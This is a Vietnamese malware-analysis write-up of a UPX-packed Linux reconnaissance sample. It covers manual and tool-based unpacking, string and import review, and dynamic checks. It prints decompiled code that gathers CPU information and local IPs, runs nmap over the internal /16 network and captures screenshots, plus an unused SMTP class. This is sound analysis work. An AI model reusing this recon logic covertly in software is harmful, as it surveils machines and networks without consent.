# unpack ![image](https://hackmd.io/_uploads/SyCwNuCRp.png) Kiểm tra strings của file thì có các string liên quan đến upx, bao gồm version 3.95, header "UPX!". Xác định được mã độc được pack bằng upx. ## Cách 1 Sử dụng upx để unpack, file được decompress về file ban đầu. ```bash= upx -d ./recon_upx ``` ## Cách 2 Unpack thủ công, vì đã biết chương trình được pack bằng upx 3.95 nên mình tìm source của bản này rồi debug theo. Vì để cho chương trình có size nhỏ hơn, upx sẽ pack cả 1 phần của decompressor. Bao gồm starup và decompression subroutine. Khi chạy chương trình, startup code sẽ decompress phần còn lại của decompressor rồi jump đến decompressor. Tiếp đó decompress lại chương trình vào imagebase hiện tại. Cuối cùng transfer control cho PT_INTERP "program interpreter" ``` _start: .globl _start //// nop; int3 # uncomment for debugging push %rax // space for entry address push %rdx // register this function pointer with 'atexit' call main // push &decompress ``` ![image](https://hackmd.io/_uploads/rkrMT_RAp.png) ``` main: pop %rbp // &f_exp call unfold proc_self_exe: .asciz "/proc/self/exe" .long O_BINFO // offset of b_info for .text FOLD: // { b_info={sz_unc, sz_cpr, {4 char}}, folded_loader...} ``` ![image](https://hackmd.io/_uploads/ryiSpuRAa.png) Tiếp theo chương trình sẽ gọi unfold để decompress phần còn lại của loader này sau đó jump đến nó. ![image](https://hackmd.io/_uploads/rkKtxtART.png) Sau khi decompress loader xong thực hiện jump đến. ![image](https://hackmd.io/_uploads/SJVagYACp.png) Phần code chính sẽ ở bên trong hàm được call ở đầu kia. Hàm này có gọi rất nhiều syscall mmap, cùng với đó là open,read, mprotect với mục đích để decompress file và map vào chương trình. Ta cần jump vào và tiếp tục thực hiện debug. Sau khi hàm này kết thúc, nó sẽ nhảy sang 3 instruction. ![image](https://hackmd.io/_uploads/HJIqztC0a.png) Call munmap để unmap file `packed`, sau đó return chuyển quyền control cho program interpreter. ![image](https://hackmd.io/_uploads/SJKAGtC06.png) lệnh `jmp r12` sẽ jump đến entry của chương trình sau khi đã unpack, là hàm `start`. Trong `start` sẽ gọi `___libc_start_main` ![image](https://hackmd.io/_uploads/SyGV9qAAT.png) ![image](https://hackmd.io/_uploads/B1BNqqARp.png) địa chỉ được đẩy vào rdi trước khi call sẽ là hàm main. => Từ đây ta có thể debug chương trình chính hoạt động. Dump process memory thành file core. Sau đó dùng công cụ này để recover thành elf [core2elf](https://github.com/enbarberis/core2ELF64/tree/master) # Analysis ## Static ### Kiểm tra string ``` LOAD:00000000004077AB 00000013 C Message is too big LOAD:00000000004077BE 00000016 C Bad login or password LOAD:00000000004077D4 0000001C C Undefined xyz SMTP response LOAD:00000000004077F0 0000000F C Lack of memory LOAD:00000000004077FF 0000000D C time() error LOAD:000000000040780C 00000011 C RecvBuf is empty LOAD:000000000040781D 00000011 C SendBuf is empty LOAD:000000000040782E 00000013 C Undefined error id LOAD:0000000000407860 0000001A C void CSmtp::ReceiveData() LOAD:0000000000407880 0000001B C int CSmtp::SmtpXYZdigits() LOAD:00000000004078A0 00000027 C void CSmtp::AddAttachment(const char*) LOAD:00000000004078E0 00000020 C __MESSAGE__ID__54yg6f6h6y456345 LOAD:0000000000407900 00000007 C 5CSmtp LOAD:0000000000407918 00000008 C 6ECSmtp LOAD:0000000000407950 00000040 C =========================get pc info=========================== LOAD:0000000000407990 00000042 C =========================get pc info end=======================\n\n LOAD:00000000004079D8 00000041 C =========================get local ip=========================== LOAD:0000000000407A20 00000047 C =========================get local ip end===========================\n\n LOAD:0000000000407A68 00000040 C ===========================nmap start========================== LOAD:0000000000407AA8 00000042 C ===========================nmap end============================\n\n LOAD:0000000000407AF0 00000026 C gnome-screenshot -f %d-%d-%d_%d:%d:%d LOAD:0000000000407B18 00000010 C popen() failed! LOAD:0000000000407B28 0000000E C /proc/cpuinfo LOAD:0000000000407B36 00000012 C %s IP Address %s\n LOAD:0000000000407B48 00000012 C nmap %d.%d.0.0/16 ``` dựa vào một vài string khả nghi, ta có thể đoán được hành vi của mã độc này có thể bao gồm - đọc /proc/cpuinfo để lấy thông tin máy - lấy địa chỉ ip máy, chạy nmap để scan mạng nội bộ - thực hiện screenshot bằng `gnome-screenshot` - thu thập thông tin đã lấy được rồi gửi mail bằng protocol smtp. ### Kiểm tra các hàm được import Chương trình có import các hàm như: - 0000000000609330 gethostbyname@@GLIBC_2.2.5 .dynsym - 00000000006093B0 system@@GLIBC_2.2.5 .dynsym - 00000000006093F0 getifaddrs@@GLIBC_2.3 .dynsym - 0000000000609408 connect@@GLIBC_2.2.5 .dynsym - 0000000000609410 gethostname@@GLIBC_2.2.5 .dynsym - 0000000000609420 socket@@GLIBC_2.2.5 .dynsym - 0000000000609448 send@@GLIBC_2.2.5 .dynsym - 00000000006094E0 popen@@GLIBC_2.2.5 .dynsym - 0000000000609518 getservbyname@@GLIBC_2.2.5 .dynsym ### Mã nguồn ```c __int64 __fastcall main(int a1, char **a2, char **a3) { FILE *v3; // rax FILE *v4; // rbx struct ifaddrs *i; // rbx struct sockaddr *ifa_addr; // rsi struct ifaddrs *v7; // rbx struct sockaddr *v8; // rax int v9; // r8d int v10; // eax struct tm *v11; // rax struct ifaddrs *ifap; // [rsp+0h] [rbp-4B8h] BYREF time_t timer; // [rsp+8h] [rbp-4B0h] BYREF void *v15; // [rsp+10h] [rbp-4A8h] BYREF char v16; // [rsp+20h] [rbp-498h] BYREF char command[96]; // [rsp+30h] [rbp-488h] BYREF int v18; // [rsp+90h] [rbp-428h] char stringBuffer[1000]; // [rsp+A0h] [rbp-418h] BYREF unsigned __int64 v20; // [rsp+488h] [rbp-30h] v20 = __readfsqword(0x28u); ifap = 0LL; puts("=========================get pc info==========================="); v3 = fopen("/proc/cpuinfo", "r"); if ( v3 ) { v4 = v3; fread(stringBuffer, 1000uLL, 1uLL, v3); fclose(v4); __printf_chk(1LL, stringBuffer); putchar(10); } puts("=========================get pc info end=======================\n\n"); puts("=========================get local ip==========================="); getifaddrs(&ifap); for ( i = ifap; i; i = i->ifa_next ) { while ( 1 ) { ifa_addr = i->ifa_addr; if ( ifa_addr ) { if ( ifa_addr->sa_family == 2 ) // ipv4 break; } i = i->ifa_next; if ( !i ) goto LABEL_9; } inet_ntop(2, &ifa_addr->sa_data[2], command, 0x10u); __printf_chk(1LL, "%s IP Address %s\n", i->ifa_name, command); } LABEL_9: puts("=========================get local ip end===========================\n\n"); puts("===========================nmap start=========================="); v7 = ifap; if ( ifap ) { do { while ( 1 ) { v8 = v7->ifa_addr; if ( v8 ) { if ( v8->sa_family == 2 ) { v9 = *(_DWORD *)&v8->sa_data[2]; if ( v9 != 16777343 ) // 1.0.0.127 { memset(command, 0, sizeof(command)); v10 = v9 + 255; if ( v9 >= 0 ) v10 = v9; v18 = 0; __sprintf_chk( command, 1LL, 100LL, "nmap %d.%d.0.0/16", (unsigned __int8)(((unsigned int)(v9 >> 31) >> 24) + v9) - ((unsigned int)(v9 >> 31) >> 24), (unsigned __int8)(((unsigned int)(v10 >> 31) >> 24) + BYTE1(v10)) - ((unsigned int)(v10 >> 31) >> 24), ifap); exec(&v15, command); __printf_chk(1LL, (const char *)v15); putchar(10); if ( v15 != &v16 ) break; } } } v7 = v7->ifa_next; if ( !v7 ) goto LABEL_19; } operator delete(v15); v7 = v7->ifa_next; } while ( v7 ); LABEL_19: if ( ifap ) freeifaddrs(ifap); } puts("===========================nmap end============================\n\n"); timer = time(0LL); v11 = localtime(&timer); __sprintf_chk( command, 1LL, 100LL, "gnome-screenshot -f %d-%d-%d_%d:%d:%d", (unsigned int)v11->tm_wday, (unsigned int)v11->tm_mon, (unsigned int)(v11->tm_year + 1900), (unsigned int)v11->tm_hour, (unsigned int)v11->tm_min, (unsigned int)v11->tm_sec); system(command); return 0LL; } ``` Hàm main thực hiện các hành động recon lấy thông tin máy nạn nhân. Bao gồm - đọc /proc/cpuinfo để lấy thông tin máy - lấy địa chỉ ip local của máy, chạy nmap để scan mạng nội bộ - thực hiện screenshot bằng `gnome-screenshot` ```c unsigned __int64 sub_401E40() { __int64 v1; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-10h] v2 = __readfsqword(0x28u); std::ios_base::Init::Init((std::ios_base::Init *)&unk_609300); __cxa_atexit(std::ios_base::Init::~Init, &unk_609300, &unk_609258); base64_chars = (__int64)&qword_6092F0; v1 = 64LL; base64_chars = std::string::_M_create(&base64_chars, &v1, 0LL); qword_6092F0 = v1; qmemcpy((void *)base64_chars, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", 64); qword_6092E8 = v1; *(_BYTE *)(base64_chars + v1) = 0; __cxa_atexit(std::string::~string, &base64_chars, &unk_609258); return __readfsqword(0x28u) ^ v2; } ``` Hàm này khai báo alphabet cho thuật toán base64. Sử dụng `jump to xref` với `base64_chars` có 2 hàm khác có xref đến giá trị này tại địa chỉ `0x4069E0` và `0x406920`. Hai hàm này lần lượt là `base64_encode` và `base64_decode`. ```c= void __fastcall CSmtp::CSmtp(CSmtp *this) { this->qword8 = &this->byte18; this->vtable = &off_407940; this->qword10 = 0LL; this->byte18 = 0; this->qword30 = 0LL; this->qword28 = &this->byte38; this->byte38 = 0; this->qword50 = 0LL; this->qword48 = &this->byte58; this->byte58 = 0; this->qword70 = 0LL; this->qword68 = &this->byte78; this->byte78 = 0; this->qword90 = 0LL; this->qword88 = &this->byte98; this->byte98 = 0; this->qwordA8 = &this->byteB8; this->qwordB0 = 0LL; this->byteB8 = 0; this->qwordC8 = &this->byteD8; this->qwordD0 = 0LL; this->byteD8 = 0; this->qwordE8 = &this->byteF8; this->qwordF0 = 0LL; this->byteF8 = 0; this->qword108 = &this->byte118; this->qword110 = 0LL; this->byte118 = 0; this->qword128 = &this->byte138; this->qword130 = 0LL; this->byte138 = 0; this->qword168 = 0LL; this->qword170 = 0LL; this->qword178 = 0LL; this->qword180 = 0LL; this->qword188 = 0LL; this->qword190 = 0LL; this->qword198 = 0LL; this->qword1A0 = 0LL; this->qword1A8 = 0LL; this->qword1B0 = 0LL; this->qword1B8 = 0LL; this->qword1C0 = 0LL; this->qword1C8 = 0LL; this->qword1D0 = 0LL; this->qword1D8 = 0LL; this->dword14C = 3; this->word148 = 0; this->qword158 = operator new[](0x2800uLL); this->qword150 = operator new[](0x2800uLL); } ``` Có một constructor cho object class CSmtp, tuy nhiên constructor này cross refence. Tức là nó chỉ được define chứ chưa được sử dụng đến. Có lẽ tính năng này đang trong quá trình phát triển. Ngoài ra còn nhiều hàm khác liên quan đến class CSmtp, tuy nhiên cũng không được gọi đến. `.init_array`, `.fini_array` cũng không có địa chỉ các hàm này ## Dynamic ### debug Khi debug, sau khi thoát khỏi hàm main. Các hàm hủy được gọi, không gọi đến hàm nào liên quan đến CSmtp class. ### network capture. Từ khi chạy đến khi kết thúc, không có gói tin Smtp nào được gửi. Không phát hiện chương trình mở port, kết nối đến máy chủ khác.